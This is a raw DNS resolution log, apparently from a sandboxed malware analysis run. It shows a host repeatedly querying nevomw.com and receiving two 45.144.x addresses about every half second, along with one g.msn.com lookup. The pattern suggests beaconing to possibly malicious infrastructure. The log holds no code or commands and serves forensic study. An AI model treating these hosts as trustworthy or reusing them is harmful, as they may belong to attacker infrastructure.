Dec 2, 2020 11:53:12.711486101 CET	8.8.8.8	192.168.2.6	0x73ee	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:13.194992065 CET	8.8.8.8	192.168.2.6	0x9cdc	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:13.194992065 CET	8.8.8.8	192.168.2.6	0x9cdc	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:13.630021095 CET	8.8.8.8	192.168.2.6	0x2134	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:13.630021095 CET	8.8.8.8	192.168.2.6	0x2134	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.055421114 CET	8.8.8.8	192.168.2.6	0x49d1	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.055421114 CET	8.8.8.8	192.168.2.6	0x49d1	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.445549011 CET	8.8.8.8	192.168.2.6	0x2017	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.445549011 CET	8.8.8.8	192.168.2.6	0x2017	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.859060049 CET	8.8.8.8	192.168.2.6	0x3baa	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.859060049 CET	8.8.8.8	192.168.2.6	0x3baa	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:15.320094109 CET	8.8.8.8	192.168.2.6	0xe4e5	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:15.320094109 CET	8.8.8.8	192.168.2.6	0xe4e5	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:15.703068018 CET	8.8.8.8	192.168.2.6	0x31d0	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:15.703068018 CET	8.8.8.8	192.168.2.6	0x31d0	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.066318989 CET	8.8.8.8	192.168.2.6	0x7094	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.066318989 CET	8.8.8.8	192.168.2.6	0x7094	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.439069986 CET	8.8.8.8	192.168.2.6	0xfbc6	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.439069986 CET	8.8.8.8	192.168.2.6	0xfbc6	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.807925940 CET	8.8.8.8	192.168.2.6	0x7453	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.807925940 CET	8.8.8.8	192.168.2.6	0x7453	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.187235117 CET	8.8.8.8	192.168.2.6	0x4184	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.187235117 CET	8.8.8.8	192.168.2.6	0x4184	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.555629969 CET	8.8.8.8	192.168.2.6	0xe1e	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.555629969 CET	8.8.8.8	192.168.2.6	0xe1e	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.992027998 CET	8.8.8.8	192.168.2.6	0x986b	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.992027998 CET	8.8.8.8	192.168.2.6	0x986b	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:18.363548040 CET	8.8.8.8	192.168.2.6	0x6920	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:18.363548040 CET	8.8.8.8	192.168.2.6	0x6920	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:18.737206936 CET	8.8.8.8	192.168.2.6	0x4b5	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:18.737206936 CET	8.8.8.8	192.168.2.6	0x4b5	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:19.261743069 CET	8.8.8.8	192.168.2.6	0xfce1	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:19.261743069 CET	8.8.8.8	192.168.2.6	0xfce1	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:19.654512882 CET	8.8.8.8	192.168.2.6	0x2f7	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:19.654512882 CET	8.8.8.8	192.168.2.6	0x2f7	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:19.915107965 CET	8.8.8.8	192.168.2.6	0x5b32	No error (0)	g.msn.com	g-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Dec 2, 2020 11:53:20.166687965 CET	8.8.8.8	192.168.2.6	0x769f	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:20.166687965 CET	8.8.8.8	192.168.2.6	0x769f	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:20.756004095 CET	8.8.8.8	192.168.2.6	0xa7f3	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:20.756004095 CET	8.8.8.8	192.168.2.6	0xa7f3	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:21.206274986 CET	8.8.8.8	192.168.2.6	0x8802	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:21.206274986 CET	8.8.8.8	192.168.2.6	0x8802	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:21.968331099 CET	8.8.8.8	192.168.2.6	0x1cc5	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:21.968331099 CET	8.8.8.8	192.168.2.6	0x1cc5	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.136975050 CET	8.8.8.8	192.168.2.6	0x44be	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.136975050 CET	8.8.8.8	192.168.2.6	0x44be	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.543100119 CET	8.8.8.8	192.168.2.6	0xac3	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.543100119 CET	8.8.8.8	192.168.2.6	0xac3	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.911144018 CET	8.8.8.8	192.168.2.6	0xc754	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.911144018 CET	8.8.8.8	192.168.2.6	0xc754	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:24.348766088 CET	8.8.8.8	192.168.2.6	0x578f	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:24.348766088 CET	8.8.8.8	192.168.2.6	0x578f	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:24.775336981 CET	8.8.8.8	192.168.2.6	0x2c4	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:24.775336981 CET	8.8.8.8	192.168.2.6	0x2c4	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.189646006 CET	8.8.8.8	192.168.2.6	0x78ed	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.189646006 CET	8.8.8.8	192.168.2.6	0x78ed	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.570763111 CET	8.8.8.8	192.168.2.6	0x35c3	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.570763111 CET	8.8.8.8	192.168.2.6	0x35c3	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.974462032 CET	8.8.8.8	192.168.2.6	0x95cd	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.974462032 CET	8.8.8.8	192.168.2.6	0x95cd	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:26.388704062 CET	8.8.8.8	192.168.2.6	0x885b	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:26.388704062 CET	8.8.8.8	192.168.2.6	0x885b	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:26.822185993 CET	8.8.8.8	192.168.2.6	0xae0f	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:26.822185993 CET	8.8.8.8	192.168.2.6	0xae0f	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:27.228805065 CET	8.8.8.8	192.168.2.6	0x63d9	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:27.228805065 CET	8.8.8.8	192.168.2.6	0x63d9	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:27.658185959 CET	8.8.8.8	192.168.2.6	0xf26c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:27.658185959 CET	8.8.8.8	192.168.2.6	0xf26c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.083373070 CET	8.8.8.8	192.168.2.6	0xa306	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.083373070 CET	8.8.8.8	192.168.2.6	0xa306	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.515634060 CET	8.8.8.8	192.168.2.6	0x8c46	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.515634060 CET	8.8.8.8	192.168.2.6	0x8c46	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.937254906 CET	8.8.8.8	192.168.2.6	0xe388	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.937254906 CET	8.8.8.8	192.168.2.6	0xe388	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:29.363059998 CET	8.8.8.8	192.168.2.6	0xedd5	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:29.363059998 CET	8.8.8.8	192.168.2.6	0xedd5	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:29.773325920 CET	8.8.8.8	192.168.2.6	0xb4dc	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:29.773325920 CET	8.8.8.8	192.168.2.6	0xb4dc	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.184181929 CET	8.8.8.8	192.168.2.6	0xb5b0	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.184181929 CET	8.8.8.8	192.168.2.6	0xb5b0	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.561573029 CET	8.8.8.8	192.168.2.6	0x716d	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.561573029 CET	8.8.8.8	192.168.2.6	0x716d	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.977451086 CET	8.8.8.8	192.168.2.6	0x3e73	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.977451086 CET	8.8.8.8	192.168.2.6	0x3e73	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:31.441651106 CET	8.8.8.8	192.168.2.6	0x516a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:31.441651106 CET	8.8.8.8	192.168.2.6	0x516a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:31.813337088 CET	8.8.8.8	192.168.2.6	0x2781	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:31.813337088 CET	8.8.8.8	192.168.2.6	0x2781	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:32.249223948 CET	8.8.8.8	192.168.2.6	0x817f	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:32.249223948 CET	8.8.8.8	192.168.2.6	0x817f	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:32.615169048 CET	8.8.8.8	192.168.2.6	0xfee	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:32.615169048 CET	8.8.8.8	192.168.2.6	0xfee	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.029988050 CET	8.8.8.8	192.168.2.6	0x6d88	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.029988050 CET	8.8.8.8	192.168.2.6	0x6d88	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.468313932 CET	8.8.8.8	192.168.2.6	0x7b98	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.468313932 CET	8.8.8.8	192.168.2.6	0x7b98	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.875742912 CET	8.8.8.8	192.168.2.6	0xd989	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.875742912 CET	8.8.8.8	192.168.2.6	0xd989	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:34.306705952 CET	8.8.8.8	192.168.2.6	0xe9d9	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:34.306705952 CET	8.8.8.8	192.168.2.6	0xe9d9	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:34.744317055 CET	8.8.8.8	192.168.2.6	0x52bc	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:34.744317055 CET	8.8.8.8	192.168.2.6	0x52bc	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.173808098 CET	8.8.8.8	192.168.2.6	0x3ee	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.173808098 CET	8.8.8.8	192.168.2.6	0x3ee	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.567707062 CET	8.8.8.8	192.168.2.6	0x97e8	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.567707062 CET	8.8.8.8	192.168.2.6	0x97e8	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.962656021 CET	8.8.8.8	192.168.2.6	0x2578	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.962656021 CET	8.8.8.8	192.168.2.6	0x2578	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:36.375144005 CET	8.8.8.8	192.168.2.6	0x309a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:36.375144005 CET	8.8.8.8	192.168.2.6	0x309a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:36.812170029 CET	8.8.8.8	192.168.2.6	0xa809	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:36.812170029 CET	8.8.8.8	192.168.2.6	0xa809	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:37.251827002 CET	8.8.8.8	192.168.2.6	0xd848	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:37.251827002 CET	8.8.8.8	192.168.2.6	0xd848	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:37.696755886 CET	8.8.8.8	192.168.2.6	0xf248	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:37.696755886 CET	8.8.8.8	192.168.2.6	0xf248	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.120366096 CET	8.8.8.8	192.168.2.6	0x48f6	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.120366096 CET	8.8.8.8	192.168.2.6	0x48f6	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.539983034 CET	8.8.8.8	192.168.2.6	0xfe47	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.539983034 CET	8.8.8.8	192.168.2.6	0xfe47	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.903022051 CET	8.8.8.8	192.168.2.6	0xc8e2	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.903022051 CET	8.8.8.8	192.168.2.6	0xc8e2	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:39.328754902 CET	8.8.8.8	192.168.2.6	0xfe89	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:39.328754902 CET	8.8.8.8	192.168.2.6	0xfe89	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:39.752509117 CET	8.8.8.8	192.168.2.6	0x6fc5	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:39.752509117 CET	8.8.8.8	192.168.2.6	0x6fc5	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:40.246764898 CET	8.8.8.8	192.168.2.6	0x392f	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:40.246764898 CET	8.8.8.8	192.168.2.6	0x392f	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:40.608048916 CET	8.8.8.8	192.168.2.6	0x85e	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:40.608048916 CET	8.8.8.8	192.168.2.6	0x85e	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.066154957 CET	8.8.8.8	192.168.2.6	0x9a85	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.066154957 CET	8.8.8.8	192.168.2.6	0x9a85	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.450228930 CET	8.8.8.8	192.168.2.6	0x5e69	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.450228930 CET	8.8.8.8	192.168.2.6	0x5e69	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.848258972 CET	8.8.8.8	192.168.2.6	0x2f9a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.848258972 CET	8.8.8.8	192.168.2.6	0x2f9a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:42.301194906 CET	8.8.8.8	192.168.2.6	0xa075	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:42.301194906 CET	8.8.8.8	192.168.2.6	0xa075	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:44.666498899 CET	8.8.8.8	192.168.2.6	0xd470	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:44.666498899 CET	8.8.8.8	192.168.2.6	0xd470	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.048715115 CET	8.8.8.8	192.168.2.6	0x6e0a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.048715115 CET	8.8.8.8	192.168.2.6	0x6e0a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.470597029 CET	8.8.8.8	192.168.2.6	0xf72c	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.470597029 CET	8.8.8.8	192.168.2.6	0xf72c	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.913047075 CET	8.8.8.8	192.168.2.6	0x8dec	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.913047075 CET	8.8.8.8	192.168.2.6	0x8dec	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:46.331456900 CET	8.8.8.8	192.168.2.6	0xe962	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:46.331456900 CET	8.8.8.8	192.168.2.6	0xe962	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:46.755785942 CET	8.8.8.8	192.168.2.6	0xd3f1	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:46.755785942 CET	8.8.8.8	192.168.2.6	0xd3f1	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:47.161921024 CET	8.8.8.8	192.168.2.6	0xc1eb	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:47.161921024 CET	8.8.8.8	192.168.2.6	0xc1eb	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:47.599958897 CET	8.8.8.8	192.168.2.6	0x690a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:47.599958897 CET	8.8.8.8	192.168.2.6	0x690a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:48.022881031 CET	8.8.8.8	192.168.2.6	0xa50	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:48.022881031 CET	8.8.8.8	192.168.2.6	0xa50	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:48.435914993 CET	8.8.8.8	192.168.2.6	0x1b9b	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:48.435914993 CET	8.8.8.8	192.168.2.6	0x1b9b	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:48.868055105 CET	8.8.8.8	192.168.2.6	0x494b	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:48.868055105 CET	8.8.8.8	192.168.2.6	0x494b	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:49.289485931 CET	8.8.8.8	192.168.2.6	0x291d	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:49.289485931 CET	8.8.8.8	192.168.2.6	0x291d	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:49.663352013 CET	8.8.8.8	192.168.2.6	0x2409	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:49.663352013 CET	8.8.8.8	192.168.2.6	0x2409	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.073008060 CET	8.8.8.8	192.168.2.6	0xec53	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.073008060 CET	8.8.8.8	192.168.2.6	0xec53	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.461335897 CET	8.8.8.8	192.168.2.6	0x9c3a	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.461335897 CET	8.8.8.8	192.168.2.6	0x9c3a	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.921871901 CET	8.8.8.8	192.168.2.6	0x799f	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.921871901 CET	8.8.8.8	192.168.2.6	0x799f	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:51.441720009 CET	8.8.8.8	192.168.2.6	0xcf48	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:51.441720009 CET	8.8.8.8	192.168.2.6	0xcf48	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:51.810755968 CET	8.8.8.8	192.168.2.6	0xcd04	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:51.810755968 CET	8.8.8.8	192.168.2.6	0xcd04	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:52.199002981 CET	8.8.8.8	192.168.2.6	0x3126	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:52.199002981 CET	8.8.8.8	192.168.2.6	0x3126	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:52.612660885 CET	8.8.8.8	192.168.2.6	0xa957	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:52.612660885 CET	8.8.8.8	192.168.2.6	0xa957	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:53.033998966 CET	8.8.8.8	192.168.2.6	0x455	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:53.033998966 CET	8.8.8.8	192.168.2.6	0x455	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:53.416918993 CET	8.8.8.8	192.168.2.6	0x37f3	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:53.416918993 CET	8.8.8.8	192.168.2.6	0x37f3	No error (0)	nevomw.com		45.144.2.145	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:53.838108063 CET	8.8.8.8	192.168.2.6	0x3db8	No error (0)	nevomw.com		45.144.3.234	A (IP address)	IN (0x0001)
